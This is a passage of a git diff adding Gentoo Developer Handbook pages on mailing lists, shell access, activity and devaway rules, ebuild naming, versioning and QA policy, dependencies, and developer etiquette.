+for more details.
+</p>
+</body>
+</section>
+
+<section>
+<title>Mailing lists</title>
+<body>
+
+<p>
+All developers must be subscribed to the <c>gentoo-core</c> and 
+<c>gentoo-dev-announce</c> mailing lists. All developers should be subscribed
+to <c>gentoo-dev</c> and <c>gentoo-project</c>, though neither are developer 
+requirements. Contact someone on the Recruiters team to subscribe you to the 
+above mailing lists or if you are having difficulties. 
+</p>
+
+<p>
+gentoo-core is to be used for internal discussions; technical discussions 
+should be discussed on gentoo-dev; non-technical discussions should be discussed
+on gentoo-project; while gentoo-dev-announce is for announcements only. If you
+send a message to dev-announce, and expect a discussion to take place relating
+to it, you should manually cross-post and set reply-to suitably.
+</p>
+
+<p>
+If you are subscribed on any other Gentoo mailing lists, you should unsubscribe
+and resubscribe with your new mail address. 
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Shell access</title>
+<body>
+
+<p>
+Developers currently get a shell account on dev.gentoo.org -
+this provides mail storage, SMTP relaying and also
+an IRC tunnel for developers to use to access freenode.
+</p>
+
+<p>
+To ensure security, access is only available through SSH keys, which
+your mentor should place on your account and allow you to log in:
+please see <uri>http://www.gentoo.org/proj/en/infrastructure/cvs-sshkeys.xml</uri>
+for more details regarding SSH keys..
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Service usage policies</title>
+<body>
+<p>
+Services provided by Gentoo should only be used for Gentoo development
+work. Infrastructure has the right to disable any accounts which are a
+security risk, these include inactive accounts which will be
+suspended by the infrastructure team if you are presumed idle, 
+and your IRC #gentoo-dev status would also be voiced.
+</p>
+<p>
+If any files in your account are found to be harmful towards other developers
+or users on the box, or pose a risk to the Gentoo project (such as illegal
+.torrents), Gentoo Infrastructure will suspend your account which would only
+be unlocked after investigation from Gentoo Developer Relations. In most cases,
+your developership may be suspended if such files are found. The same
+policies also apply to Gentoo CVS and other Gentoo-provided services you may
+be offered.
+</p>
+</body>
+</section>
+
+<section>
+<title>Activity policies</title>
+<body>
+
+<p>
+Gentoo understands that as life changes, so may your availability. We 
+respectfully request that if you know you will be unavailable for an extended 
+period of time (vacation, big project at work, family needs, etc) that you
+utilize the devaway system.
+</p>
+
+<pre caption="When going away">
+<comment>on dev.gentoo.org</comment>
+$ <i>echo "Away until 2007-08-30, contact $dev1 in my absence" &gt; ~/.away</i>
+</pre>
+
+<pre caption="When coming back">
+<comment>on dev.gentoo.org</comment>
+$ <i>rm ~/.away</i>
+</pre>
+
+<p>
+In the on going effort to keep our developer pool up-to-date and our resources
+secure, Developer Relations periodically reviews developer activity in the 
+search for inactive developers. A developer is considered inactive if no 
+contributions are made over a period of 60 days. Activity is determined by CVS
+commits, bugzilla statistics, and peer feedback. Not everyone's activities are
+so easily traced, as such, Developer Relations often requests feedback from a 
+project lead or team members of a developer suspected to be inactive.
+</p>
+
+<p>
+Any developer suspected to be inactive for a period in excess of 60 days may be
+subject to retirement. Developer Relations will first research and assess the
+situation, attempt to contact the developer, or if attempts are unsuccessful 
+may chose to retire the developer. Please note that if you are in devaway for
+more than 60 days, you may also be considered inactive, however, return
+dates will be taken into consideration. If you are retired due to inactivity 
+and wish to return, you need only contact Recruiters to begin the recruitment
+process again. 
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-introduction.xml b/xml/htdocs/proj/en/devrel/handbook/hb-introduction.xml
new file mode 100644
index 00000000..502f56c6
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-introduction.xml
@@ -0,0 +1,63 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-introduction.xml,v 1.3 2006/09/07 10:24:21 neysx Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The aim of this handbook is to outline Gentoo development policies, and make
+<e>you</e>, the developer, informed of policies, standards and procedures which
+Gentoo considers to be core values of our development system.
+</p>
+
+<p>
+This handbook is not intended to be the universal guide to everything
+- the opportunities open to you are endless, and as a result, this
+handbook is designed to teach you the principles which we think make
+up a good Gentoo developer - the rest is up to you!
+</p>
+
+<p>
+If you are new to Gentoo development or even an old veteran and are at
+any stage unsure about anything, feel free to ask the gentoo-dev
+mailing list, or #gentoo-dev.
+</p>
+
+</body>
+</section>
+<section>
+<title>Requirements</title>
+<body>
+<p>
+Before you start to tinker, it is important to have a working Gentoo
+installation, both for documentation and development purposes, and we
+also recommend that you have a good knowledge of topics covered in the
+``Working with Gentoo'' section in the User Handbook to help you with
+your development work.
+</p>
+<p>
+Most of this guide is targeted at developers, but, if you are just
+interested to see what makes Gentoo development work, this guide may
+provide some valuable insights.
+</p>
+<p>
+The best way to get noticed [ and to possibly become a Gentoo
+developer! ] is to file intuitive and accurate bug reports at the <uri
+link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>, with patches if
+possible, and to help us out with what you think would make a better
+Gentoo for everyone whether by providing patches for new features, 
+submitting new ebuilds, or solving issues with existing ones.
+</p>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-policy-ebuild.xml b/xml/htdocs/proj/en/devrel/handbook/hb-policy-ebuild.xml
new file mode 100644
index 00000000..0d1788eb
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-policy-ebuild.xml
@@ -0,0 +1,678 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/policy.xml :: R1.35.
+-->
+
+<sections>
+<version>1.0.3</version>
+<date>2007-01-21</date>
+
+<section>
+<title>General guidelines</title>
+<subsection>
+<body>
+<p>Here are some general development guidelines to follow:</p>
+<ul>
+
+<li>Always check in your changes with repoman; use repoman commit
+instead of cvs commit.</li>
+
+<li>If a package is either broken in its current version or it has a really
+nasty build/install process, take a look at how other distributions do it:
+<ul>
+ <li><uri link="http://www.debian.org/distrib/packages">Debian</uri></li>
+ <li><uri link="http://cvs.mandriva.com/cgi-bin/viewvc.cgi/SPECS/">Mandriva</uri></li>
+ <li><uri link="http://cvs.fedora.redhat.com/">Fedora</uri></li>
+</ul>
+</li>
+
+<li>Your package, when complete and unmasked, is supposed to "just work" for
+the end-user. Tweaking the installed product to get it to work should be
+optional; thus you need to install the package with reasonable default
+settings.</li>
+
+<li>Don't be afraid to consult our on-line documentation and ebuilds written
+and maintained by more senior developers. Feel free to contact senior
+developers directly with any technical or policy questions.</li>
+
+<li>Be cautious about what you commit. Remember that your commits
+can potentially harm thousands of users. If your commits cause any breakage
+in the tree, they must be fixed in a timely fashion.</li>
+
+<li>Every package must be accompanied by a <uri
+link="?part=2&amp;chap=4">metadata.xml</uri> file which lists - amongst other
+information - what herd (and/or individual maintainers) are in charge of the
+package.</li>
+	     
+</ul>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Specific guidelines</title>
+<subsection>
+<title>fPIC</title>
+<body>
+<p>On some architectures, shared libraries must be built with -fPIC.  On x86 
+and others, shared libraries may build without -fPIC.  This can be wasteful 
+and potentially cause a performance hit.  If you encounter a package that is 
+not building shared libraries with -fPIC, patch the Makefile to build 
+<b>only the shared libraries</b> with -fPIC.  More information on PIC is 
+available at
+<uri>http://www.gentoo.org/proj/en/hardened/pic-internals.xml</uri>.  If you 
+are unsure, please ask in a public developer forum (like the gentoo-dev 
+mailing list or #gentoo-dev irc channel) for help.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Perl</title>
+<body>
+
+<p>
+New Perl modules are to be added to portage only when one of the
+following conditions is met:
+</p>
+
+<ul>
+<li>The module(s) fulfill a dependency</li>
+<li>The module(s) cannot be handled by <c>g-cpan</c></li>
+<li>The module(s) add functionality to existing ebuilds</li>
+<li>The module(s) provide tools, applications or other features (i.e.
+more than what their .PM offers)</li>
+</ul>
+
+<p>
+Please make sure that at least one member of the perl herders approves
+your addition.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ebuild policy</title>
+<subsection>
+<title>Naming policy</title>
+<body>
+
+<p>Ebuild file names consist of four logical subsections:</p>
+
+<p><c>pkg-ver{_suf{#}}{-r#}.ebuild</c></p>
+
+<note>The brackets (<c>{}</c>) delineate optional fields and do not appear in
+the literal package name. <c>#</c> represents any non-zero positive
+integer.</note>
+
+<p>
+The first subsection, <c>pkg</c>, is the package name, which should
+only contain lowercase letters, the digits 0-9, and any number of
+single hyphen (<c>-</c>), underscore (<c>_</c>) or plus (<c>+</c>)
+characters. Examples: <c>util-linux</c>,
+<c>sysklogd</c> and <c>gtk+</c>. We have some packages in Portage that 
+don't follow these rules, but <e>your</e> packages should.
+</p>
+
+<p>
+The second subsection, <c>ver</c>, is the version of the package,
+which should normally be same as the version on the main source
+tarball. The version is normally made up of two or three (or more)
+numbers separated by periods, such as <c>1.2</c> or <c>4.5.2</c>, and
+may have a single letter immediately following the last digit;
+e.g., <c>1.4b</c> or <c>2.6h</c>. The package version is joined to the
+package name with a hyphen. Examples:
+<c>foo-1.0</c>, <c>bar-2.4.6</c>.
+</p>
+
+<p>
+The third subsection, <c>{_suf{#}}</c>, is optional may contain one of 
+these predefined suffixes, listed in least-recent to most-recent order:
+</p>
+
+<table>
+ <tr><th>Suffix</th><th>Meaning</th></tr>
+ <tr><ti><c>_alpha</c></ti><ti>Alpha release</ti></tr>
+ <tr><ti><c>_beta</c></ti><ti>Beta release</ti></tr>
+ <tr><ti><c>_pre</c></ti><ti>Prerelease</ti></tr>
+ <tr><ti><c>_rc</c></ti><ti>Release candidate</ti></tr>
+ <tr><ti>(none)</ti><ti>Normal release</ti></tr>
+ <tr><ti><c>_p</c></ti><ti>Patch level (normally accompanied by trailing integer)</ti></tr>
+</table>
+
+<p> 
+Any of these suffixes may be immediately followed by a non-zero positive
+integer, e.g., <c>linux-2.4.0_pre10</c>. Assuming identical version parts, the
+suffixes are ordered as follows (lower means older): <c>_alpha</c> &lt;
+<c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c> &lt; (no suffix) &lt;
+<c>_p</c>.
+</p>
+       
+<p>
+When comparing identical suffixes with trailing integers, the one with the
+larger integer will be considered most recent. Example: <c>foo-1.0_alpha4</c>
+is more recent than <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+The fourth subsection of the package name is the Gentoo Linux-specific revision
+number (<c>{-r#}</c>). This subsection, like the suffix, is also optional.
+<c>#</c> is a non-zero positive integer; e.g.,  <c>package-4.5.3-r3</c>. 
+</p>
+
+<p>
+This revision number is independent of the version of the source tarball and
+is used to inform people that a new and improved Gentoo Linux revision of a
+particular package is available. Initial releases of ebuilds must have no
+revision number; e.g., <c>package-4.5.3</c> and are considered by 
+Portage to have a revision number of zero. This means that counting goes 
+as follows: <c>1.0</c> (initial version), <c>1.0-r1</c>, <c>1.0-r2</c>, 
+etc. 
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Versioning and revision bumps</title>
+<body>
+
+<p>
+Package revision numbers should be incremented by Gentoo Linux developers
+when the ebuild has changed to the point where users would want to upgrade.
+Typically, this is the case when fixes are made to an ebuild that affect the
+resultant installed files, but the ebuild uses the same source tarball as the
+previous release.  If you make an internal, stylistic change to the ebuild that
+does not change any of the installed files, then there is no need to bump the
+revision number.  Likewise, if you fix a compilation problem in the ebuild that
+was affecting some users, there is no need to bump the revision number, since
+those for whom it worked perfectly would see no benefit in installing a new
+revision, and those who experienced the problem do not have the package
+installed (since compilation failed) and thus have no need for the new revision
+number to force an upgrade. A revision bump is also not necessary if a 
+minority of users will be affected and the package has a nontrivial 
+average compilation time; use your best judgement in these 
+circumstances.
+</p>
+
+<impo>
+Whenever you create a new revision of an ebuild, be sure to update the
+<path>ChangeLog</path> file in the ebuild directory. Failing to do so is
+considered to be in very poor taste and may result in disciplinary
+action.
+</impo>
+
+<p>
+Ebuilds should be based on the previous version of the ebuild to ensure 
+that fixes aren't dropped accidentally. Fixes should include appropriate 
+comments in the ebuild explaining what they are for and why they are 
+needed. If you are not familiar with the fixes, or unable to determine 
+if they are still needed, you should not be updating the ebuild.
+</p>
+
+</body> 
+</subsection> 
+
+<subsection>
+<title>Virtuals</title>
+<body>
+
+<p>
+Portage supports a concept called "virtual" packages. Using virtual
+packages, it is possible to have a particular category/package name map to
+another. 
+</p>
+
+<p>
+Here's an example of how to use virtual packages. Let's say you create
+a new cron package called <c>foocron</c>. Gentoo Linux is currently set up so
+that things that need a cron package of some kind depend on the
+<c>virtual/cron</c> package. This allows ebuilds to ensure that there is some
+kind of cron available while allowing users the flexibility to install the cron
+package that they prefer. To plug your <path>foocron-1.0.ebuild</path> into
+this system, you'd add a line to the ebuild that reads:
+</p>
+
+<pre caption="How to provide a virtual">
+PROVIDE="virtual/cron"
+</pre>
+
+<p>
+Now, when <c>foocron-1.0</c> is installed, the <c>virtual/cron</c> package
+will be registered. If you didn't have any cron package installed before, this
+would mean that any package <e>DEPEND</e>ing on <c>virtual/cron</c> would have
+that dependency fully satisfied. Note that it is advised to only specify a
+<c>PROVIDE</c> value for defined virtuals (see <path>/etc/make.profile/virtuals</path>).
+Also please note that (a) <c>PROVIDE</c> isn't to handle renaming of packages
+and (b) don't use it with new style virtuals.
+</p>
+
+<p>
+There is a second component to the Gentoo Linux virtuals implementation.
+What would happen if there were no installed package that provided
+<c>virtual/cron</c>? How would Portage choose the "correct" cron to install to
+satisfy the <c>virtual/cron</c> dependency? Portage takes care of this
+situation by using a profile-specific virtual mapping file called
+<path>virtuals</path> which is stored in the profile directory
+<path>/etc/make.profile</path>. If you take a look at your
+<path>virtuals</path> file, you'll find that the contents look something like
+this: 
+</p>
+
+<pre caption="Sample virtuals file">
+virtual/lpr             net-print/cups
+virtual/python          dev-lang/python
+virtual/mta             net-mail/ssmtp
+</pre>
+
+<p>
+The first line of this file tells Portage that if a package depends on
+<c>virtual/lpr</c> and no <c>virtual/lpr</c> is installed and no
+<c>virtual/lpr</c> package is available in the Portage tree, then
+<c>net-print/cups</c> should be installed to satisfy this dependency.
+<c>net-print/cups</c> contains a line that reads <c>PROVIDE="virtual/lpr"</c>
+so that future dependencies on <c>virtual/lpr</c> will be satisfied.
+</p>
+
+<p>
+Now for the developer guidelines. If you were to add the <c>foocron</c>
+package, you would obviously want to ensure that all programs that depend upon
+<c>virtual/cron</c> are able to work correctly with it. And if you were to add
+a package named <c>foobarosity</c> that depended on <c>virtual/cron</c>, you
+should likewise ensure that all packages that provide <c>virtual/cron</c> will
+be satisfactory for the proper functioning of <c>foobarosity</c>.
+</p>
+
+<p>
+Before creating new virtual packages, please begin a discussion on the
+internal developer mailing list about that virtual. Keeping developers
+informed of new virtuals is essential to ensure their uniform use.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Scope</title>
+<body>
+
+<p>
+Whenever an ebuild is sourced, the functions and variables within it
+are loaded into memory by the script interpreter. However, only
+variables and instructions that are not part of a function are
+interpreted - functions such as <c>src_compile()</c> are only executed by
+Portage when the ebuild has reached the compile stage.
+</p>
+
+<p>
+The code within these functions are considered in "local scope" while
+everything outside of the functions is in the "global scope" meaning
+they are executed every time the ebuild is sourced.
+</p>
+
+<p>
+An external application (such as grep, sed or awk) should never be
+called in global scope for performance reasons, and alternatives such
+as using built-in bash replacement should be used instead. Useful
+alternatives can be found in the
+<uri link="http://www.tldp.org/LDP/abs/html/">Advanced Bash Scripting Guide</uri>.
+</p>
+
+<p>
+Additionally, any external application that may be called in global
+scope can not be guaranteed to exist on the system. If the command is
+placed in local scope (for example, in the <c>pkg_setup()</c> function), we
+can guarantee its presence by placing it in the ebuild's <c>${DEPEND}</c>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>CVS sources policy</title>
+<body>
+
+<p>
+There are two different ways to build an ebuild based on sources from a CVS
+development tree. The first and traditional way is to create a "CVS snapshot"
+ebuild by creating your own tarball snapshot of the upstream CVS tree,
+mirroring the sources on our official distfile repository, and writing an
+ebuild to specifically use this tarball snapshot. These types of CVS ebuilds
+will be referred to as "CVS snapshot ebuilds" below.
+</p> 
+
+<p>
+The other method of
+creating a CVS-based ebuild is to use <path>cvs.eclass</path> to create a
+"live" CVS ebuild. Such an ebuild will dynamically grab the latest development
+sources from a CVS repository at "fetch" time, ensuring that the sources are as
+up-to-date as possible. These types of CVS ebuilds will be referred to as
+"'live' ebuilds" below.
+</p>
+
+<p>
+The following paragraphs detail the policy relating to the use of CVS-based
+ebuilds.  Note that there are strict rules relating to the addition of such
+ebuilds to the Portage tree.
+</p>
+
+<p>
+Snapshot cvs ebuilds are greatly preferred over "live" <path>cvs.eclass</path>
+cvs ebuilds.
+</p> 
+
+<p>
+Snapshot cvs ebuilds are allowed if a cvs snapshot contains known fixes that
+are needed for proper operation of a software package, or if the cvs version of
+a particular software package is known to or has been proven to simply "work
+better" than the normal release version.
+</p>
+
+<p>
+"Live" <path>cvs.eclass</path> ebuilds are generally only intended for the
+convenience of developers and should always be masked with a <c>~[arch]</c>
+keyword. It is impossible to guarantee the reliability of a "live"
+<path>cvs.eclass</path> ebuild since the upstream cvs tree may change at any
+time, which is why they should always be masked.
+</p> 
+
+<p>
+Whether a "live" CVS ebuild or a "snapshot" CVS ebuild, <b>you the
+developer are responsible for ensuring that the ebuild works correctly</b>.
+This is particularly difficult to do with "live" cvs ebuilds for obvious
+reasons.
+</p>
+
+<p>
+If ebuilds (of any kind) do not work correctly or are flaky, they should be
+fixed or removed from the Portage tree. If they are "live" ebuilds, they may be
+<c>~[arch]</c> keyword masked for their lifetime (this special exception is
+detailed below). 
+</p>
+
+<p>
+If a user or users specifically request a "live" cvs ebuild, you can add one
+for them. It should have a <c>~[arch]</c> keyword so that other users don't
+merge it unsuspectingly. 
+</p>
+
+<p>
+This way, the user(s) requesting them (likely developers) can install
+them but other users will be protected from merging them accidentally.
+Again, this only applies to situations where a user or users
+specifically request a "live" <path>cvs.eclass</path> CVS ebuild. Snapshot
+ebuilds should only be added to the Portage tree with the intention that they
+are stable and provide better functionality than the normal release versions
+of said software.
+</p>
+
+<impo>
+Snapshot ebuilds of <e>pre-release</e> CVS sources should be named as
+follows: <path>foo-x.y_preYYYYMMDD.ebuild</path>.  <c>foo</c> is the package
+name, <c>x.y</c> is the version number of the <e>upcoming</e> release,
+<c>_pre</c> is a literal string, and <c>YYYYMMDD</c> is a timestamp of the day
+the CVS snapshot was taken. Use this naming convention to ensure that a
+<c>x.y.1</c> release version won't be considered to be older than a <c>x.y</c>
+snapshot, while at the same time ensuring that the official <c>x.y</c> release
+will be considered <e>newer</e> than your CVS snapshot version. For CVS
+snapshots of <e>already-released</e> CVS sources, use the format
+<path>foo-x.y_pYYYYMMDD.ebuild</path> (notice the <c>_p</c> for "patchlevel.")
+This will ensure that your CVS ebuild will be considered <e>newer</e> than the
+standard <c>x.y</c> release.
+</impo>
+
+<impo>
+Currently, the policy for naming "live" cvs ebuilds is to ensure that the
+package name ends with <c>-cvs</c>. In the future, a <c>_cvs</c> version suffix
+will likely be added to Portage and this policy will be updated.
+</impo>
+
+</body>
+</subsection>
+
+<subsection>
+<title>User-submitted ebuilds</title>
+<body>
+
+<p>
+User-submitted ebuilds should never be blindly trusted and should always be
+well-tested and audited before being committed to CVS. <b>If a user-submitted
+ebuild has problems, you will be held accountable.</b> By committing it to CVS,
+you are vouching that the ebuild meets all Gentoo Linux development standards.
+</p>
+
+<p>Make sure that the user-submitted ebuild doesn't contain custom headers like this:</p>
+
+<pre caption="A custom header that should be transferred to the ChangeLog">
+# Ebuild updated by: me &lt;me@me.com&gt;
+</pre>
+
+<p>
+This information should be added to the <path>ChangeLog</path> using proper ChangeLog
+comment syntax. <b>Always ensure that the ChangeLog gives proper credit to the user
+who submitted the ebuild. This information should appear in the first ChangeLog entry.</b>
+</p>
+
+<p>Also ensure that any new ebuilds you commit contain the following line:</p>
+<pre caption="Ebuild header">
+# &#36;Header: &#36;
+</pre>
+<p>Quite a few user-submitted ebuilds are based on files from rsync, which can contain
+incorrect header lines.</p>
+
+<p>
+Encourage users to submit diffs to existing ebuilds if they are submitting
+an upgrade.  By doing this, we can help avoid the re-introduction of
+previously-fixed bugs into our "new" ebuilds. If you are not working from a user-submitted
+diff but a complete ebuild, then use the <c>diff</c> command to see what has changed, keeping
+an eye open for anything from our current ebuild that should appear in the new ebuild, or
+anything in the new ebuild that should be fixed or removed.
+</p>
+
+<p>
+In general, let the user do the work required to get his or her ebuild up to par, unless
+you <e>want</e> to clean up the ebuild on his or her behalf.  Even so, it's often better
+to have the user do the work so that they can learn from their mistakes and submit cleaner ebuilds
+in the future. Be sure to be thankful for any submission, even if it isn't very good. Be polite
+but honest -- if an ebuild isn't usable, the user can be told in a way that does not insult their
+current ebuild-writing abilities. Remember that the user who submitted that broken ebuild may
+be a skilled and productive member of our project in the future -- that 
+is, if they receive the right amount of encouragement and support and 
+continue to improve in their abilities.
+</p>
+
+</body>
+</subsection>
+
+
+</section> 
+
+<section>
+<title>QA policy</title>
+<subsection>
+<title>Portage / baselayout release policy</title>
+<body>
+
+<p>
+Only members of the Portage team (who know who they are) have the authority
+to release new releases of Portage. <b>No one</b> else is allowed to roll new
+releases of Portage.
+</p>
+
+<p>
+Only members of the baselayout team (who know who they are) have the authority
+to release new releases of baselayout. <b>No one</b> else is allowed to roll new
+releases of baselayout.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Masked packages</title>
+<body>
+
+<p>
+<path>/usr/portage/profiles/package.mask</path> contains a list of
+packages that should not be merged by users and comments detailing the
+specific reason why. Package.mask is used to prevent merging of
+packages that are broken, break something else, or badly need testing
+before going into ~ARCH KEYWORDS in the tree. When adding to
+package.mask, always commit package.mask prior to committing the
+masked ebuild. This prevents the ebuild from hitting users before the
+updated package.mask does.
+</p>
+
+<p>
+Great care must be taken any time a package is removed from <path>package.mask</path>.
+Keep in mind that if an ebuild is in <path>package.mask</path>, it's there for a reason.
+If you didn't mask the ebuild, always contact the developer listed in the
+<path>package.mask</path> comments prior to taking any
+action. Additionally, if the masked ebuild is a core package, a
+dependency of a core package, or the unmasking has any possibility for
+adverse effects, the change must be discussed internally on the
+developer mailing list.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>~ARCH in KEYWORDS</title>
+<body>
+<p>
+The purpose of ~arch is for testing new packages added to Portage. 
+</p>
+
+<p>
+There is a difference between using <path>package.mask</path> and ~arch for 
+ebuilds. The use of ~arch denotes an <b>ebuild</b> requires testing. The use
+of <path>package.mask</path> denotes that the application or library itself is 
+deemed unstable. For example, if <c>gimp-1.2.0</c> is the stable release from 
+Gimp developers, and a new bug fix release is available as 1.2.1, then a 
+developer should mark the ebuild as ~arch for testing in portage because the 
+release is deemed to be stable. In another example, if Gimp decides to release 
+an unstable/development series marked as 1.3.0, then these ebuilds should be 
+put in <path>package.mask</path> because the software itself is of development
+quality and is not recommended by the developers for distribution.
+</p>
+
+<p>
+Any new package that enters Portage must be marked ~arch for the
+architecture(s) that this version is known to work on. The developer who
+commits the ebuild must verify it is in working order, and the KEYWORDS
+are correct.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Moving package versions from ~ARCH to ARCH</title>
+<body>
+<p>
+When a package version has proved stable for sufficient time and the
+Gentoo maintainer of the package is confident that the upgrade will not
+break a regular Gentoo user's machine, then it can be moved from ~ARCH
+to ARCH. An indication of the package's stability would be no verified
+or unresolved bug report for a month after the version's introduction.
+</p>
+<p>
+It is up to the maintainer of the package to deem which versions are
+stable or if development versions should be in <path>package.mask</path>
+or left in ~arch.
+</p>
+<p>
+You must also ensure that all the dependencies of such a package version
+are also in ARCH.
+</p>
+
+<impo>
+Remember that arch teams alone are responsible for marking packages stable on
+their arch. Package maintainers should open stabilization bugs; they may not
+just mark packages stable. However, if the maintainer is also part of an arch
+team, then he or she may stabilize the package for his or her arch.
+</impo>
+
+<warn>
+The ~ARCH step may <e>only</e> be ignored <e>if and only if</e> the
+concerned package version contains a security fix or is needed to fix an
+important bug in the Gentoo system. 
+</warn>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Variables</title>
+
+<subsection>
+<title>Required variables</title>
+<body>
+<p>
+Gentoo Linux policy requires that all ebuilds contain <c>KEYWORDS</c>, <c>LICENSE</c>,
+and <c>SLOT</c> variables. <c>HOMEPAGE</c>, <c>SRC_URI</c> and <c>DESCRIPTION</c>
+should also be included except for special circumstances. <c>DEPEND</c> (and if
+necessary, <c>RDEPEND</c>) should be included if your package has any build or
+runtime dependencies, respectively.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>DEPEND and RDEPEND</title>
+<body>
+
+<p>
+Use <c>DEPEND</c> to define the dependencies required for building a
+particular package, and set <c>RDEPEND</c> to the dependencies required to
+<e>run</e> a particular package. RDEPEND should be set explicitly, even if RDEPEND=${DEPEND}.
+</p>
+
+<pre caption="Example of RDEPEND">
+RDEPEND="${DEPEND}
+	net-ftp/curl"
+</pre>
+
+<p>
+It's also important to note that only
+<c>RDEPEND</c> dependencies are satisfied when one installs a binary
+<c>.tbz2</c> package; use this information to help you choose the correct
+<c>RDEPEND</c> dependencies.
+</p>
+
+<p> 
+A package should depend upon the oldest version that satisfies the
+dependency. If it works with <c>libfoo-1.2.x</c>, don't depend on
+<c>libfoo-2.x</c> just because that's what you have installed.
+</p>
+
+<p>
+In general, packages should depend on <c>=libfoo-1.2*</c> instead of
+<c>&gt;=libfoo-1.2</c>. Otherwise, things may start breaking horribly when
+<c>libfoo-2.0</c> is introduced.
+</p>
+
+<p>
+Depending on a virtual package entry like <c>virtual/foo</c> will only work
+when the different packages providing <c>virtual/foo</c> have identical
+interfaces.  Consider <c>virtual/jdk-1.3</c> for example. Some packages don't
+work with <c>ibm-jdk-1.3</c> while they do work with <c>sun-jdk-1.3</c>. For
+this reason, be sure that your package is tested against all virtual providers
+before unmasking.  It may be possible to only depend on a subset of those
+packages in the virtual rather than the virtual itself.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-policy-etiquette.xml b/xml/htdocs/proj/en/devrel/handbook/hb-policy-etiquette.xml
new file mode 100644
index 00000000..88ead054
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-policy-etiquette.xml
@@ -0,0 +1,273 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-policy-etiquette.xml,v 1.13 2007/03/07 12:38:39 kloeri Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduction and some simple suggestions</title>
+<body>
+
+<p>
+These suggestions are designed to be an easy-to-follow guide to what <uri
+link="/proj/en/devrel/">Developer Relations</uri> would <e>expect</e>
+to be good developer etiquette. They should cover most areas
+and should be employed wherever they can be.</p>
+
+<p>
+That doesn't mean that we expect you to follow this guide to the
+bullet point; nor do we expect you even agree with it - we do expect,
+however that all developers maintain reasonable standards of behaviour
+with our community - whether to other developers or users.  However,
+you may be subject to sanctions or a suspension if a reasonable
+standard is not met.
+</p>
+
+<p>
+By reasonable standards we don't want you to feel that we are not
+allowing you to say anything, rather, we believe that <e>how</e> you say it,
+and the method and professionalism in how you express your opinion
+defines whether you meet the reasonable standards or not, since, as a
+developer, what you say and do reflects upon Gentoo and the project as
+a whole. We just require you to be equally respectful to developers
+and users alike, and to value the opinion of everybody - even if you
+think it's totally wrong.
+</p>
+
+<p>
+You should try to use good spelling and grammar everywhere: whether
+in a CVS commit message, a ChangeLog, or even on IRC if you want to be
+really nice and make somebody's day. But don't worry; we won't really
+mind if you don't. You might not notice it, but by taking some
+effort to clean things up, the amount of time it takes to read your
+sentences is greatly lowered. However, it is also important not to
+lose the rope at the same time and make something too eloquent that
+takes too long to parse.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>What you should try not to do</title>
+<body>
+
+<p>
+One should try to not be rude, abusive or impolite under any
+circumstances. Sometimes, just one sarcastic comment can change the
+tone to the reader. If you think you might give somebody a bad 
+as a result of your comment, and if you <e>really</e> need to say it,
+make sure people understand that you are not trying to be
+offensive.
+</p>
+
+<p>
+Please remember that you are an official representative of Gentoo. In
+this capacity, you are expected to maintain a certain level of
+professionalism and courtesy in your day-to-day interactions with
+users and other developers.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Tips</title>
+
+<subsection>
+<title>ChangeLogs</title>
+<body>
+
+<ul>
+  <li>
+    Make your ChangeLogs readable to the average end-user: try to keep
+    things simple and short if you can, but provide any critical
+    information as needed. Remember that ChangeLogs need to be
+    written in good, "correct" English even if they are
+    short. Punctuation is essential.
+  </li>
+  <li>
+    Please don't use "Gentooified" language, except for
+    accepted terms such as "ebuild" and "version bump". If you are being
+    verbose, please use the correct punctuation and quote marks.
+  </li>
+</ul>
+<ul>
+  <li>
+    Any function names should be encapsulated in quotation marks
+    or speech marks.
+  </li>
+  <li>
+    Be verbose: "Version bump." is good, however "Version bump;
+    see bug #..." is even better. This not only helps users, but
+    it also helps other developers as well.
+  </li>
+  <li>
+    Don't use phrases such as "Tested for months, should work."
+    or "I think this should fix the problems." as something either
